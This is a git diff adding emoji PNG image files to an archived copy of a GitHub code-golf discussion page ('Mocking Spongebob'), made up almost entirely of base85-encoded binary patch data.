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 literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 zcmV-;3y1WHP)3@?wui}Q=f|k8dR;mj zx2@dX7L32b_^H(oaqm7zcUeE+pw*x?g*H1?T2tNkk+cPvl+1Uly zUd{OX(?I}Sba@ffdzzry-3bD(%06H2*_cx(I)HDn?<0=ft^? zFD%dmLvT9fYrm$$RE5yj`-HS&o8OmPsus|I8t{@u$q*y~@fS;d|%*)0LQA#jRKT ziogrvoSVDwu=A}Mj*8t|H|gHn+*rM2E4TiLd2RE92tNS4OCpb=JZwe_n4fM8J%k;M ze?<87$|b&Z;so4zk@tx5`v%{W&(7KGxeFrBaUAU4zDaj;BOrVQ<0(J^RHbrWojNb# z9U>l4hd2)+m>EL}fpT{z#;R0<=gvIKZ=DDMw?4Iy-Q+U}o&BU8lcw&lH|qewM$!Zv@RPu51I`Hmpo5Xh$`9aoa=3E z{)ibOf*pwfdkw#FgNp_~0X&T{qj?cp3rpnli^=f&fvVR7GxBW2cmza2$K|NdECZu` z{fo4L-G&4tkDpt=#upKuQ0GE6H}8tMMSQ#MxX-Ac5LMU@8x;dMPFvl%@C==%DUdwB zew{A}^1U->&r&QbIYc=rq(Mo9G8pYq%PkCrSV454j;4395a@5;iwLhAG*&w%@X_~i z5#gh=t7oK`pC1WH;e@c)wy4Sq1H1>RNkBjthsdEM#89z);|+^tX;Jyer(WiI;|PfG z0Tm6!?2NH^Q z5+X51EXGL-*MR3%FY$-XYJlMd5iAa`fyAVM6Cq*Rc10o4Vjgui^#A}6zb_-Mh(ZK*z&jF*_ zPftk^G|Q6EhGJns_J*wf&ekW_KFjCNeVBhcY#(3%SY%iOY*Hfk6QS$_P-HOMu8kLP zS#A8pRG2ldM+h@#&I97S=jRSj0VX2Am;$-4kx&ixfUSHiFF@TukA?iPW(}9+G4y+n zH=6{F+RFzKaNk;F==Wf{Pw#j8l|vUI3TD`p@Q*_oevV=EXU7iz5J~{bzz|r3xF=y$ zj+K5E0-@{+#y>Fue{c<$2IW~y+dSq(57Ct#8Ut3y+2GNyh$5N7muw$ltS%KTObvJ6^j7z$YIrnYAEG4&XV zi6YJ+>Jt&-vcY`dQ18bG>u#AM>eJiap)3ug_IjD5DMSPWvuO2Azp&%^#b)~en@j;6p9f^pXaf;28P@YL)_mVNr;qb_u}#uxFq5CsKvvk$$H`Z+n|i zR)`3Bdxm0e7N6(bU0Xvi7G_5F9?sVTP_2)=6>>$3nRDme_VqX3dFMLs1zv5`1*Ye} zjOuCLpZb69t=%GqfXlOFv|q}}ifouZF_eUU$xJa~yaA#=q=o6Q;Xeq5&ph3-8tw(LdLuM32uV2dC|vGr4~XFJ8f}C=_S0Ne;oFJ~ zVFH~_Mds@bnSsHW`)sU_4wTiOCtB-3o8dD@zuTu*lHe7j?k>nc8#S7eU?J?S+auWD zp1I7YniBBiM82by+kOJN0ad|!88dVYW|O}gF?`hcAsMI$dEto`>GdMrK2$Lo02Yxw zp&q|SMsEQ`Vfu)@_o5|Qs45kH@`abV*=!*ac|F37c5p6A(pI5mBf&L&I7Uu@I@szG3VD7gsLv^~O6v z&3Mr&p5N`^=UPbZr5FW(s!Cosy#L!kC&grnj8BCju(j1A1|##(&LH!G_?#+wf(bD> zKQdf@1;eaLXK^|R1_v0S3Sd}(i|3x@FPiKGC-;KCZty#KhRqg;Nb*LS(*YLe9nR@U zevWvb@tI*dY%E>w-rF-iGT#R8NWkTg72rq2;S7MQ&SuUuIUAkck02n)+m}*^$f^0a#4O3tk z4eFXlz}gM^_cr^>o|%Kba48%E|Nh6c77KpX;8%gi0GtxM!+8a#g7Y;Oa-i|`al4aJ z45uj-$a9a3)quQl8l)QVUwf~{!R7B#U_>ESPZ%_?k0* icj+?U;847Ux9~rI0WPOBC)F(g0000Jo*S&-o-W?O~-HnTn-HnS+-HVAY?2d{r@5IE{`SsfXzxN}a z^J9K}g`Y3%#KjUnpW2Oy>pP=jp8sFr_uk?;f8f`@@&9k~d%t++HF4#CM$RGj$$N3} zRo>)JdE;^3*cQM3i8ptbpH=y9Y8Jck0PT&pQ7+YP=F^>2n2J&%(_ZMboh0zZnH6A?vIIDJ|V0^LQpX&=pZGiJR#_CQcxu=s5&L6HZ90x z;2F=q|M^@ZK&8nrRpz2(ET1In<}lH%%S3NJ|4^83T&7&Q)8hTqShGHKETsRL5S^@Y zFY%ZB+1V^MZWL3JL~SZS)=YqC76`iFJf8uC4J#ukKd#o{H75AkY=~$nN_1m@XyX~8 ztqVlAp99H9!n}2rcE{RG-rwwzk)|~f+8Yz^=S}{M7tYxyG$u?CHZvO0xi$@<#!&Ci z0zqg7$U`$A5Q&9$qUAoK_0vSJj}UEN0Xfeo&YmEc0`}cB>Ag|$0p8dz`LzGSqz!f2 zEC{NlwG&ok=Yg<;h{QrY)N?ftCyg~rDUCeVT8De^46 zAMyeg?6{ERg%Zj(q2>WaS|^NCbI`#AbaVoB&oBpb&H0G?^dVTxkpfsB@}>R?#kqd? zpb8~Kn}5ePD!zwJF>%Yv$W2w#4+LP$w7E#Th%R+Gh&F_JU(L^r2id#BcW6Su+SwkW z)j=XSzc(&{m@gl|k!YqFwZ8xl3iA4i7@44>{sBc?k*+73?RL;3v8*Ah(5+y9#+dJ< z{qX>=FEvg16>Gkos&idbo{dszCQA9KE*rUt4%$z((_S)6dx?hw5k4VtqhG^-j=J|SR|&*i?54tm6f%IYSVlj5{VdD%(h4a!R zZeM+<85moaSW6;yQUqr%ybh$C2yY;-oSahkTq4L$t4ky9A`OD8Cp8R8tT|X!Q145j z7)!m#@E9^tl71(E?}c_?E}{X5t3=2XtOxnPmLKoGl;g||ckt8mPAiE z;P}1X7KgGu z7vUjnSi>2Gy62b&Sp0cx@W34g@!b$K*51^jfKM2&U$WQdi12x@CXj^y>dCuKT_>(c zE3!9%vkr#gkWjqX&go#bhpJi5={MvY%r{wZ?mR%LzZ8H9gU|XTuR`J#(m<%SA=QvoP!azSqXFFER`2d(0(FxzoIKlcTsIclG{f(V-qmzOhDBF{rDcN zqwL=oDr>`117hM6-UW~hTKIC*~~9#5W~zN%%Yfo7Hd;uXxUa=;sXu9(a3> z+tsC$?5rFoIH85$`7nfl?}xzg9nb{NS)s9ck+m;mAeBc=;ME7LWgLxFU;9YPeJfJgcprg;{8EK0xL9KFUvasAnAWW%*p@w7W7L=7gw|YKuK&tPGI3 zIz-0WS*ooK^IGSq%BZXk)8X8n7O*?T%L*h+0O#t)+EJp~LzrQLv{0IOx?STdiNQV6N21@e-c4~}_(2D@pkeJZwL&@u^t`l!QPRCW5?dl0E zXyma62;E;i7_9vRBZ zG8-%=bQ4h7pe%-^Fo!-T8a#u;arSl@ z`>G3l=GJ9ibA%38&e(SZSPwT%;O8+4M67z%KQ{6Jvbg_DW?X;cz97flqI@!FH%E!Jd%1@|q~0DfCypSEN2(x9gL$44Ged3!0TxVsmEXhKM4>bDNKWJbfyvPFio$Zy!g9hsE z#}GO?O)eLCp%GG~W*`sIjTd?!>g~__#3gsWz*aZl_YFiwBSvY?ZkX<3&AY!6J-p@% zjF%Z>y!Km6>TO1zL5%===Xv+g)xu}RlOFih7k&(d90KiVzXHH1B6;z0rw`B0xx>Kz zsOX227XL2;8^T>2!>X>2_)Cdz$R45W;=YT=I|>H8XMRD4Ce+Xo9^ z1ooIqb(ns%V3&Oek}uH;gUis**!}+HA;vRpU5+Wj6X|O~4uFM99iEh^u zuid;z`KhSoocuCZg1w^E2LD?742QzMf+RdV2y+)1f2;0q9yNo^|66oGt(oNK;13wv oPNz4;=J6%;62;T;bUg9#Z%1_cOr6p&TmS$707*qoM6N<$g4cR~CIA2c literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 zcmVA}7XIZFluOYS!ntP7T$2PeVL`xyGl6BMNw8~nMb+y11T~PtupyVVWglIyz z6C(&>LKFikStFn%0dsI91O<}JOzvxvnSA@Y%|B%J&m?~?7%5)WS2H#9|NY+ky8HF( z*Dc(VTXIW!RIUaK<4S^szv_d9HH2-1ZwcoJ7YU^dhG3z9KJy4i>DjIN5Mi|;NSLqR zD2)8wIb8Iia0fZ`7eXvKR75}*QAmVDmIMj2&V>p69oBJusNhY;ZYET=bilZ&4=Q#K zK~2&K)O|Y+rXQ7P{Mi-e95-0b>lpa=#xpK3om8Usn{lW~z7G|<2E!2E+lCAp9R?y} zgFaADI*jASK*5I$`?95><#BhS<|`-eR8ygMm(Y-oV_dp+dn@GeJ7BqX@@hefnKvK3t?DdNHq1+fU>PCQ%w({+FwwxLt z;vJz+k2qiQfp8xwI3@Oa-Ldh^2!}vT>ga2uAxJoE3=;--tMk<0C~7>HfYRvO#d+>f zF#V*0F|sfCY7ruQ-)(W>YM5{jHF}=FBeD6c2UF;fXr$$|G^)Qi9gee{q)X1zeCpSn zxuGm}AS~y&^9~JjE|IW>lK={giGXlhSE79+Pi7+fQO}FP&hbHsmNkiDX?5r3eULDN zCmdnDni?`R5+#m~`r`^BfCt7#mZf&A=hq8^nl~$`IXtREimP+Iar&?hnP2MYd)FN) z$?(LF$vWhHqeEl9SI2Dm;yy7RWFkuFE1Lj%;ho=t-T*XRl&AFK_nuh(oCa!@Gn}0{ z`1fT?HMnrB<4Mvti5^(!uj1{9@b*+7;0-ORa^=}%$@ipHt2rKo2rtQUzI>A~Ow95c zPN`)n%1F^M<3vLxaC3FWv3>Fb=++QdC=}xRQp|ii5cT(r{O_n)c4pXaC~ zzpGRV7S!yvm$K7c@(!B{&n{NuPd-vTq(k1cy66q#=6;-n;!t6dT>_e`IH*1}QdYyc zM|BdT)~s}axqt!?DP8}ji{$@|6#KDY%ZIM?jBOA-M5M6)Dzd$>c!4A+%8o0vRTtCb z2)hJ`!@u#gR$l&n!5edDTr=wRm$c-#?K5w^qP6LN$!ofIq zwshLn_jSAnP9|CP$({ycc38GS7%L%wsyolJKP%&hu@`PiRO}fdj)Es!BOrj!{}iX2 zmH?_PasnvUt!r)m?<1ft?T;(X-A&qdDOdARWPEL7+CI#vxJe z^@R09={6Tse!dW8+uiwZd3)yC5?bITK5vpk03TXu;j^HR7>b5pzlA7Gbp|wCK8E`2 zIMn>`9;#B8p<@3$lq;|Vyj{W19jSf{`_9ZMQS@C}Ub1UE#iUy0)4V#t*yb3H6I#W0uV zp|R*V8VbMSFcl=D{%nE-rt|y6XE@o7`Yc!~3(;h%fLyUyEJ#U7!Sbgc<(XpMQCnXu zXQfj>8U(Z5I8!3_edN|+Go!+iB}(;Hqi4!L{^VeHSN=mS6*Dl^6)G-qK0$0082x$08 zC2os+6e^D_0^hF%g$8T|!StZEY>m($WwV6of^K z7D1`BUpG)Go$+hBPT~h0&xTx8zr2W`ucjbCwjde+1c4hO-)5~bTn41SOI^3f2h@J+4@(!ppp1Mpd#rAk$^R= z9d|#&OJTc*!jk7HLHN6TTia!Ld3nLd#|P7=Psi-pv-#)LsZ-(Y?G3HA>pHX=XI%PD z*QyUx<`W6{n}mSkFyVgsgKrrv+0;OeE$Xs#@Oz98JBLODbrjhvMYabm&wM)!cGhXH zB2>WZf$1uk&v;0Xo8%@=1&74Kxk{L_n5|Nn(iCFvXSY=miso@(-@Pzry0?ntEm{gd zj_1731O+Z1akFc8)u+S7^TJU31Oy7x=^=j1+<4N>E_MWH#k##iz|&oUj0Bf9Y<7h) zqK{Y_pJ0~&c9KdD6O^2NK_E6yXc5R!s)+CJ)6QC@iJ)wtI@w!>`Ks0>k(k4

    0;(E53EaC-R*F#hYG?c(ane_-#^i?PV(!FHXW>Z3qTytZ9COQUWVhyROm zZi5VFxiWj9_P|&)e64L0g`a4!c(#-Tl|q4c=gdUmtIL>Uok9wYj)!%vpA@~cSPA1n zZM*i>?j2>la4GwuB{B8-Zx!PHFeRyAN>;atx+FDryrslM4{jV5Oj4s@trHCE9)RJ^ zr#eT#>o3Fj@5fQR)&o1AyO!!c^ne1%>$y$sqW%jdEq#4O0-hJ-$}d5}09HRIpdxNK z>h~*U!4R)R#LH@23AoF4JG)^J4DYL9SThZV)eB&JV+jnaXiBX5do!LVqMm?pwLd*G z3HktM=mTww90!-H5c`?}m7gkQ+f(uJQ1ShABnZ7bc0nRo@TC_m?2kM)upzC?rCzelUa_laf*r*dJHc-_0F9y;_Mg>(r=-aqf&xvUM~o zqKIw3Ds)!Zu%T7q5GR33PBn4kn1XIWRqXvJ-mHM(Bkp9kp?WKo)0#_Z?CQPHRblt- zsIfBy7$qb)3Z%{xj&$4gdb)3SuUIfKl7i~kQ4Z&PRm@0o-g+}EmERHUPN@tR?q)YI zxdIA|718%PjPn&ycejiu`}tLvo)9*qNI{gStTcQes^iAqD93rQGlpAlhFS=3^NW!^ zE$noaWsBlyD32P7nr-8*pW{S&`KG~Kw^-yPJSz0KNbeBuAT)6!LV7ioZ5~4LVRX+0 zxmYKZMGg`jXD|_h`Fy`oLL)&(MjRkOgmGhk8Wnd@RPHhvJm6Mr9>$m97COvqi7VPD zj29e5N<#%#8irwHT-pDh>QJnpKsAg9PKws#)EJ5#V^F(oJO_Pezw!Snqwir;iryK( zMip$^60WkdebO~Xa8%*@h#%?;lkz`4q?J`;Rp;pd0000vUJ%hGP;vhOwLvNsT05yueqh$e)MV98~T`1dlR3ZE@$ z&SQVF z-C+#$4htG1yLmlR3>)Is^=u(3_I`gwTT1T-=b>ays{7Ndh~U1UhW3MVz`iA+zcISe z!^#orAtR1+G#QCk2&F6=$91>A_XR;ZCUBouL)$;5gT)vp4BUDV;doDOZfXFzlQJ;D&5Q_ze#@y|^x0Xy3!M%}S9 ziIm|=dFr&#S}{$G4u|cp_tI}M19@9Z+5P>e#yWV7jgJZWTW_;j*ugn5>YX3X?^DEe zM(!7|2sSe}K+NGhI`6hOOaptpJ>3c;r6IoP?6SM4?ss% zDtNExV@_Vcbyf-1!U;XAMIJjDwYYHI$Yx-pR}mD6{YW{sPq`iaw@n7`B^`Y~B=F#J zYBR+PeNIzO5)pZvPZKF~vmVG2i=`Jj;4f6k?mV1g?zv3v>cz~fzd-*>cB?+FKlw}W(Ayw z=ML4Jra&5KbrIR--Mwh$7rG=8zdcOtFq*snAwAo$?O;mzH4P zHA7f&#Afb|2YKv;u*kP;VpBzyhZ!9;G@?QANo0$Z$b~)nE$<{!1ET`=()&b`^qada zdvW;Se-N~79W@5%Iwcb;LR~nKpVrZcIy`$I1IkT0_^?tB?uH1myK7l+tU}M*sy-M& zR@syV)}o2r2siWDqb!*8R&k*Hz#K^(wbo_A%4bv{lgaw9e2D^@P7XXrxOTz-%N8r| zXzTeOtHF6$a$X_Q@^mXr?ud&U3?1t}RAhjyfg-PS)#(u206RLbF2wL#J}5IKcCo2B}1cXQdZ z^keJJsgew^uPnIIgmtUK&*|6vUK6sdBRi$V1IN348@C?@GQeAW{vS-1)cCH=p$+i* zOW_+})vrPuU{A5M9VgWmi6h3kHG$@TC4x2`QW~d-A5v-4+uE?(%70TEvaK_FC3yg4 zkir1vfmVPE_#*`iX?gpVOn5j;9#CPqTn6>W!=JY`M>2wvU-XEaf~2%SSgjIM;9SrZ zzyWI!(r>;z@W}ng7c~J5`Ch4H{is$TJfJa<0c?nfE4c^W(Zf?;Q}Ss2 z#FrId&enpjNkVm}Arm&O)xuXEQ}DLFwOlEJpJY%CK^(9IGJqQ)c7LN2jhSK!xW)_+ zbPCjGP|`3e;ky!Q3Wy+Bt0PN|N_a17Lk7X~q6jit4d6bj6x-sneg+T+ot?+=#HS&1 zG=h%jMGSb?-vD`REl-8_&xY=+hEa+3y|aY@-UxKu{S#ga+mQsm%Z8Yt>!Jaww(DRm zZg_sMLIsN+zMVZP6*72ykpfmet%8Er7eL+n`e^n|Wj>Ia#;MR99Aq-a4dUV4qwWYbMot7Qc2Rsxi3W|Ko{8E z1RweXubY_@z--IeG+_bbdhZM;|uRy~6!}5zcLp zM9P)vg^oR`;69=m5L|~fkd+>o^izxFVEmm5YPPEB*+D_a-{6ap8LW9u4*%Om-wh2Me@hbNPeC~w#|9$ST($^b^wA}Q_OfK?ESHTaw3YUy zy7p}RK?1awrVeSavlhe) z;y%Qm`Nhas3!Sb~wkW)z#gqijt!aZt9F5+xDUtUrikyh0Y!F4M}Q=1Sznb=!-k zV0@StyC7Gb4EDmwf;hp2$mR2Ws02MB1C`i=00HZUc=U<~Fe*oG3<|i8qN#it?$?Kx zmbe=m*nBoz#Fo#r=!QmA&W->9N=PVHI80M1a8k5JQYjcaQlMk&d;)!@@Az-6<{31l z@SREIRd8op>^hz8V_zw3Sc=$3y;fY6}+JEgPGdpcobXqtRee)K*y2(u!Qly0^KXnR9)gpF7i&J?x&HlgWzfo{>-T z;OKQeL+ zPjZqloFoqI;u3*hD@}}-O6$hXaDlsZCO3c3_VU#zO+H+i7#}Z=j*ctxr+c3yU2_6N z%+|P6jBOZV!-(S8Sf;Ai8e`v*Rx688V3Lfk_1siRn6?a{rGkV1YD9>arXNlUpp00MZEfP zV=a|4H&R`{0kIYjE^oHtxKyTk<_5}dKLg)vf%+|Lssj6;U^4>g_yl4s7)x3m1=Juy zR4juSjEhJ{$57R`ttkPKGA7p5m&1!$Ug81->9{a#VGPSlgrHCYL{yPABfu-;E{uDn z76CD+NN!w^BL@;z8gs4;{Z#JkM4h)!1 zt7(>GBqQS(XKBvO;M=VX&$(;nUSM*k)T44G&el!Ph1UEWhbO`-Nac);VuFA!%)auU z;i|HY%tc<#JRrN6Ol%c zBu$PXES3PVYeIl^oNZj_S6@Id)`4hz@Cy`&zXHl87lkn^B0@iibqyDD*3b(uV$L^V z6s;gfSOFVG;$hS9Pk=R>Z4h!iL|G9RMyU$#7wPNPz%t92~e$C zw}Jrau6|ga8kO^gTEL+)8^qc=A}a|{P@x}87y$n5LoL86oBFoEz7ZI(6{;qak5d}n z3W#}65GMszLI+E*QPe=VbZ7;L@IjZR_C)VQf+Q=7H6IvC0n?9AA=iyAP8fs^&=91V z9OnH)DIkxy+{ST3j5*=k(It7_>s#mkgwdfBAjbYgSS$|czxIv;IuxX7yB%`H&(NWlgnp#8zSOQkEr`{mUyLJ86Y&Gm|* zdL(8Hm$@kNXbvhMyHA(}tOX;%^e)b6TQ(nMSi;GQYnu3o}0pytQ zy|G6C6ubwKl`G&J-uv_QVFI~<_9-hs6`A?6xj9O@{a5K#pclSZgCjqBpesv{ZUBIY z;zHM+Dz>i!{`mh~z(w1iO-I(HzhsSUwA$YOmp5K8y?-YYGrMJ{Sh*z564&kjN)_m( zLwi+`BNF<~&&q}3+~n+iQ&0GFs={x`)wDkN(DUEl@^Yi*JpH#fo%d&m=>MvKAH4sY zZ;4HQGkJbJzCEHIup(1m<^@zf6DM&TXR(8Brx{d%?rT*!x&i>wcfK`3WvrAf&My4Q zbgT0-lRNbnwoU7&@%hCHAN|n>o_jHW;Q9OK4>kVqpSS)rP~x64a<_dk5%tXKX=0xr4d>+dtjCw-^=V`7bws02wF zTm%B5Z4TB>cZZ@2iY5C(ca%;4r>QGcKmh3q7KL1#G@&&xrGUBJlYQlp~gc)C*zk;8y z?4V%hyFqk?UuZ{FpqI=00q6G%_f@Dn!tzh!2Zs zYXPaxoYq%?yfA?g;Y2XmDD~+@9-8?Sw~c8vV@*6;J>=xw24aK@1OS&J_!b{@f&%*qFf; zcx?7&_I2Khl*T~}s;AJsfFu=Y)p&67b~cRf;WYPJue)7x548rh+_Ru?*XTESVCrlN ztqylK7xenjV$xVsBlPjL=H)z9yBdj05GJUeYWD&nn9^y?Pq+E(^zZXKW7`O&c~tnh zI*VTU)zNS9CE1P#0Oo*?@B0$B3EVxm$o1unROqoUU(b%IJ5d*7itEVrRDC3718ix6 zms^{-XXbNg@AAu^yjN};+sdQ8@I6kumW7e6+@zkT>rIZBThKC}nYw@ZXb%epIkle& zN|a#=qdePqH(#9p6ae)W9iQ`^(QomSz9?B~wf#VXjjZT&Q=AGqex7jE3SU}x!ibNc~3 z)deW|^moxt1DjNKlfC2OogW(iHYdpLZR?-5$;kP}#s8>{dHn1?-dNt`P5v9|9dD3Y S39%yp0000}sP)qc!vaE-#a zFNiFP0*DCCadAAEHBU z)H#iUW;{0H@%}ST%br`}DwXO@wNe?L`@uMt;aq12C`D-hOHls^@B-vGIXr&?jXNd(a=ofo)C2?5($9Lnf2Td&(6*sjHI_9`8&C}xp48~MQCbj zf|hx+iBz9Jf{_5!FP;nX8jWU(QmJf1@=#u04tl*Fu3Wjoa5-X6p9P?vzX#Kub$YFZs^SPU!0DVz_qg8no@-*CzoAPyn1Fa|KKO^y$+hv$C=pQ2?l_s)FX` zX1IL$GPJk16JbXD=FOV~cHV*4TjtMsBJ$0M92ZAWIXUhXB>B|T)IVfqX6mu&5qYvb z)x3cK*RNlP?(S{^owIB0S}o`&yFFHb+TIyp^gO|l$E?4SmX=nH0YoHC5fu4dyLJssN=j0q08m(1 z2o)6-aOu(|sIIPty1F`OY;1&jbi$sPIPhC0gV|p!g(b2eIIc*i%oBNX2y+U1R+9%! zGd+#SH{759u?IM;5|jYPk00N0;=~D{dA_WyjO@?qU#HVi8Q`%R{JseUSI>DcafTO6 zoVoD+(Q__@Y~Dth=gE^}m~*O8z`Bj=K|jv9SAdHsfZD~OM>B5RTY@2f^ytx9hBJJtjawK>_aqTJjPBJTC*+>2rvz zNl-b=`aFPaPbEW{=gHF;M4pX_(<@-9>8alcLV$w@4{k(2Mn(q94sCE~xl2v({Q2_+ zB21dS5XlmZ1#m?N_uT9Q2!v?)4MbV zb5(M3G8{Q_q?ugzOo)qCq)o7sDbgj9zzAR`f|F;XU#YBh7hd}5abA643nUH^b9>q@6f-2GYnf%7{twVcU1Z+{ItRC*F%;*~(zZ$jl-)kPy5hcri?Z z?$I;!EbS-aT}7Z*oJLIEtf|7*zO 